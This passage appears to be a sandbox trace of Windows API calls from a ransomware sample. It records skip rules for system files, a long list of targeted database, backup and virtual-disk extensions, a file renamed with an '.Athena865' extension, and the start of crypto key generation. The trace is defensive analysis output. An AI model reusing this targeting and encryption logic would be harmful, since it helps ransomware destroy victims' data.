Size=0x100) returned 0x52ba90 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.669] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.680] CloseHandle (hObject=0x154) returned 1 [0091.680] CloseHandle (hObject=0x17c) returned 1 [0091.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.687] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="windows") returned -1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="bootmgr") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="temp") returned -1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="pagefile.sys") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="boot") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ids.txt") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ntuser.dat") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="perflogs") returned 1 [0091.687] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="MSBuild") returned 1 [0091.687] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0091.687] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceDaYi.txt" | out: lpString1="TableTextServiceDaYi.txt") returned="TableTextServiceDaYi.txt" [0091.687] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0091.687] lstrlenW (lpString="Athena865") returned 9 [0091.687] lstrcmpiW (lpString1="eDaYi.txt", lpString2="Athena865") returned 1 [0091.688] lstrlenW (lpString=".dll") returned 4 [0091.688] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".dll") returned 1 [0091.688] lstrlenW (lpString=".lnk") returned 4 [0091.688] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".lnk") returned 1 [0091.688] lstrlenW (lpString=".ini") returned 4 [0091.688] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".ini") returned 1 [0091.688] lstrlenW (lpString=".sys") returned 4 [0091.688] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".sys") returned 1 [0091.688] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0091.688] lstrlenW (lpString="bak") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0091.688] lstrlenW (lpString="ba_") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0091.688] lstrlenW (lpString="dbb") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0091.688] lstrlenW (lpString="vmdk") returned 4 [0091.688] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0091.688] lstrlenW (lpString="rar") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0091.688] lstrlenW (lpString="zip") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0091.688] lstrlenW (lpString="tgz") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0091.688] lstrlenW (lpString="vbox") returned 4 [0091.688] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0091.688] lstrlenW (lpString="vdi") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0091.688] lstrlenW (lpString="vhd") returned 3 [0091.688] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0091.688] lstrlenW (lpString="vhdx") returned 4 [0091.688] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0091.689] lstrlenW (lpString="avhd") returned 4 [0091.689] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0091.689] lstrlenW (lpString="db") returned 2 [0091.689] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0091.689] lstrlenW (lpString="db2") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0091.689] lstrlenW (lpString="db3") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0091.689] lstrlenW (lpString="dbf") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0091.689] lstrlenW (lpString="mdf") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0091.689] lstrlenW (lpString="mdb") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0091.689] lstrlenW (lpString="sql") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0091.689] lstrlenW (lpString="sqlite") returned 6 [0091.689] lstrcmpiW (lpString1="Yi.txt", lpString2="sqlite") returned 1 [0091.689] lstrlenW (lpString="sqlite3") returned 7 [0091.689] lstrcmpiW (lpString1="aYi.txt", lpString2="sqlite3") returned -1 [0091.689] lstrlenW (lpString="sqlitedb") returned 8 [0091.689] lstrcmpiW (lpString1="DaYi.txt", lpString2="sqlitedb") returned -1 [0091.689] lstrlenW (lpString="xml") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0091.689] lstrlenW (lpString="$er") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0091.689] lstrlenW (lpString="4dd") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0091.689] lstrlenW (lpString="4dl") returned 3 [0091.689] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0091.689] lstrlenW (lpString="^^^") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0091.690] lstrlenW (lpString="abs") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0091.690] lstrlenW (lpString="abx") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0091.690] lstrlenW (lpString="accdb") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accdb") returned 1 [0091.690] lstrlenW (lpString="accdc") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accdc") returned 1 [0091.690] lstrlenW (lpString="accde") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accde") returned 1 [0091.690] lstrlenW (lpString="accdr") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accdr") returned 1 [0091.690] lstrlenW (lpString="accdt") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accdt") returned 1 [0091.690] lstrlenW (lpString="accdw") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accdw") returned 1 [0091.690] lstrlenW (lpString="accft") returned 5 [0091.690] lstrcmpiW (lpString1="i.txt", lpString2="accft") returned 1 [0091.690] lstrlenW (lpString="adb") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.690] lstrlenW (lpString="adb") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.690] lstrlenW (lpString="ade") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0091.690] lstrlenW (lpString="adf") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0091.690] lstrlenW (lpString="adn") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0091.690] lstrlenW (lpString="adp") returned 3 [0091.690] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0091.691] lstrlenW (lpString="alf") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0091.691] lstrlenW (lpString="ask") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0091.691] lstrlenW (lpString="btr") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0091.691] lstrlenW (lpString="cat") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0091.691] lstrlenW (lpString="cdb") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0091.691] lstrlenW (lpString="ckp") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0091.691] lstrlenW (lpString="cma") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0091.691] lstrlenW (lpString="cpd") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0091.691] lstrlenW (lpString="dacpac") returned 6 [0091.691] lstrcmpiW (lpString1="Yi.txt", lpString2="dacpac") returned 1 [0091.691] lstrlenW (lpString="dad") returned 3 [0091.691] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0091.691] lstrlenW (lpString="dadiagrams") returned 10 [0091.691] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="dadiagrams") returned -1 [0091.691] lstrlenW (lpString="daschema") returned 8 [0091.691] lstrcmpiW (lpString1="DaYi.txt", lpString2="daschema") returned 1 [0091.691] lstrlenW (lpString="db-journal") returned 10 [0091.691] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="db-journal") returned -1 [0091.691] lstrlenW (lpString="db-shm") returned 6 [0091.691] lstrcmpiW (lpString1="Yi.txt", lpString2="db-shm") returned 1 [0091.691] lstrlenW (lpString="db-wal") returned 6 [0091.691] lstrcmpiW (lpString1="Yi.txt", lpString2="db-wal") returned 1 [0091.691] lstrlenW (lpString="dbc") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0091.692] lstrlenW (lpString="dbs") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0091.692] lstrlenW (lpString="dbt") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0091.692] lstrlenW (lpString="dbv") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0091.692] lstrlenW (lpString="dbx") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0091.692] lstrlenW (lpString="dcb") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0091.692] lstrlenW (lpString="dct") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0091.692] lstrlenW (lpString="dcx") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0091.692] lstrlenW (lpString="ddl") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0091.692] lstrlenW (lpString="dlis") returned 4 [0091.692] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0091.692] lstrlenW (lpString="dp1") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0091.692] lstrlenW (lpString="dqy") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0091.692] lstrlenW (lpString="dsk") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0091.692] lstrlenW (lpString="dsn") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0091.692] lstrlenW (lpString="dtsx") returned 4 [0091.692] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0091.692] lstrlenW (lpString="dxl") returned 3 [0091.692] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0091.693] lstrlenW (lpString="eco") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0091.693] lstrlenW (lpString="ecx") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0091.693] lstrlenW (lpString="edb") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0091.693] lstrlenW (lpString="epim") returned 4 [0091.693] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0091.693] lstrlenW (lpString="fcd") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0091.693] lstrlenW (lpString="fdb") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0091.693] lstrlenW (lpString="fic") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0091.693] lstrlenW (lpString="flexolibrary") returned 12 [0091.693] lstrcmpiW (lpString1="viceDaYi.txt", lpString2="flexolibrary") returned 1 [0091.693] lstrlenW (lpString="fm5") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0091.693] lstrlenW (lpString="fmp") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0091.693] lstrlenW (lpString="fmp12") returned 5 [0091.693] lstrcmpiW (lpString1="i.txt", lpString2="fmp12") returned 1 [0091.693] lstrlenW (lpString="fmpsl") returned 5 [0091.693] lstrcmpiW (lpString1="i.txt", lpString2="fmpsl") returned 1 [0091.693] lstrlenW (lpString="fol") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0091.693] lstrlenW (lpString="fp3") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0091.693] lstrlenW (lpString="fp4") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0091.693] lstrlenW (lpString="fp5") returned 3 [0091.693] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0091.693] lstrlenW (lpString="fp7") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0091.694] lstrlenW (lpString="fpt") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0091.694] lstrlenW (lpString="frm") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0091.694] lstrlenW (lpString="gdb") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.694] lstrlenW (lpString="gdb") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.694] lstrlenW (lpString="grdb") returned 4 [0091.694] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0091.694] lstrlenW (lpString="gwi") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0091.694] lstrlenW (lpString="hdb") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0091.694] lstrlenW (lpString="his") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0091.694] lstrlenW (lpString="ib") returned 2 [0091.694] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0091.694] lstrlenW (lpString="idb") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0091.694] lstrlenW (lpString="ihx") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0091.694] lstrlenW (lpString="itdb") returned 4 [0091.694] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0091.694] lstrlenW (lpString="itw") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0091.694] lstrlenW (lpString="jet") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0091.694] lstrlenW (lpString="jtx") returned 3 [0091.694] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0091.695] lstrlenW (lpString="kdb") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0091.695] lstrlenW (lpString="kexi") returned 4 [0091.695] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0091.695] lstrlenW (lpString="kexic") returned 5 [0091.695] lstrcmpiW (lpString1="i.txt", lpString2="kexic") returned -1 [0091.695] lstrlenW (lpString="kexis") returned 5 [0091.695] lstrcmpiW (lpString1="i.txt", lpString2="kexis") returned -1 [0091.695] lstrlenW (lpString="lgc") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0091.695] lstrlenW (lpString="lwx") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0091.695] lstrlenW (lpString="maf") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0091.695] lstrlenW (lpString="maq") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0091.695] lstrlenW (lpString="mar") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0091.695] lstrlenW (lpString="marshal") returned 7 [0091.695] lstrcmpiW (lpString1="aYi.txt", lpString2="marshal") returned -1 [0091.695] lstrlenW (lpString="mas") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0091.695] lstrlenW (lpString="mav") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0091.695] lstrlenW (lpString="maw") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0091.695] lstrlenW (lpString="mdbhtml") returned 7 [0091.695] lstrcmpiW (lpString1="aYi.txt", lpString2="mdbhtml") returned -1 [0091.695] lstrlenW (lpString="mdn") returned 3 [0091.695] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0091.695] lstrlenW (lpString="mdt") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0091.696] lstrlenW (lpString="mfd") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0091.696] lstrlenW (lpString="mpd") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0091.696] lstrlenW (lpString="mrg") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0091.696] lstrlenW (lpString="mud") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0091.696] lstrlenW (lpString="mwb") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0091.696] lstrlenW (lpString="myd") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0091.696] lstrlenW (lpString="ndf") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0091.696] lstrlenW (lpString="nnt") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0091.696] lstrlenW (lpString="nrmlib") returned 6 [0091.696] lstrcmpiW (lpString1="Yi.txt", lpString2="nrmlib") returned 1 [0091.696] lstrlenW (lpString="ns2") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0091.696] lstrlenW (lpString="ns3") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0091.696] lstrlenW (lpString="ns4") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0091.696] lstrlenW (lpString="nsf") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0091.696] lstrlenW (lpString="nv") returned 2 [0091.696] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0091.696] lstrlenW (lpString="nv2") returned 3 [0091.696] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0091.696] lstrlenW (lpString="nwdb") returned 4 [0091.697] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0091.697] lstrlenW (lpString="nyf") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0091.697] lstrlenW (lpString="odb") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.697] lstrlenW (lpString="odb") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.697] lstrlenW (lpString="oqy") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0091.697] lstrlenW (lpString="ora") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0091.697] lstrlenW (lpString="orx") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0091.697] lstrlenW (lpString="owc") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0091.697] lstrlenW (lpString="p96") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0091.697] lstrlenW (lpString="p97") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0091.697] lstrlenW (lpString="pan") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0091.697] lstrlenW (lpString="pdb") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0091.697] lstrlenW (lpString="pdm") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0091.697] lstrlenW (lpString="pnz") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0091.697] lstrlenW (lpString="qry") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0091.697] lstrlenW (lpString="qvd") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0091.697] lstrlenW (lpString="rbf") returned 3 [0091.697] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0091.698] lstrlenW (lpString="rctd") returned 4 [0091.698] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0091.698] lstrlenW (lpString="rod") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0091.698] lstrlenW (lpString="rodx") returned 4 [0091.698] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0091.698] lstrlenW (lpString="rpd") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0091.698] lstrlenW (lpString="rsd") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0091.698] lstrlenW (lpString="sas7bdat") returned 8 [0091.698] lstrcmpiW (lpString1="DaYi.txt", lpString2="sas7bdat") returned -1 [0091.698] lstrlenW (lpString="sbf") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0091.698] lstrlenW (lpString="scx") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0091.698] lstrlenW (lpString="sdb") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0091.698] lstrlenW (lpString="sdc") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0091.698] lstrlenW (lpString="sdf") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0091.698] lstrlenW (lpString="sis") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0091.698] lstrlenW (lpString="spq") returned 3 [0091.698] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0091.698] lstrlenW (lpString="te") returned 2 [0091.698] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0091.698] lstrlenW (lpString="teacher") returned 7 [0091.698] lstrcmpiW (lpString1="aYi.txt", lpString2="teacher") returned -1 [0091.698] lstrlenW (lpString="tmd") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0091.699] lstrlenW (lpString="tps") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0091.699] lstrlenW (lpString="trc") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.699] lstrlenW (lpString="trc") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.699] lstrlenW (lpString="trm") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0091.699] lstrlenW (lpString="udb") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0091.699] lstrlenW (lpString="udl") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0091.699] lstrlenW (lpString="usr") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0091.699] lstrlenW (lpString="v12") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0091.699] lstrlenW (lpString="vis") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0091.699] lstrlenW (lpString="vpd") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0091.699] lstrlenW (lpString="vvv") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0091.699] lstrlenW (lpString="wdb") returned 3 [0091.699] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0091.699] lstrlenW (lpString="wmdb") returned 4 [0091.699] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0091.700] lstrlenW (lpString="wrk") returned 3 [0091.700] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0091.700] lstrlenW (lpString="xdb") returned 3 [0091.700] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0091.700] lstrlenW (lpString="xld") returned 3 [0091.700] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0091.700] lstrlenW (lpString="xmlff") returned 5 [0091.700] lstrcmpiW (lpString1="i.txt", lpString2="xmlff") returned -1 [0091.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865") returned 79 [0091.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt.athena865"), dwFlags=0x1) returned 1 [0091.701] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=980102) returned 1 [0091.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.701] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.702] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 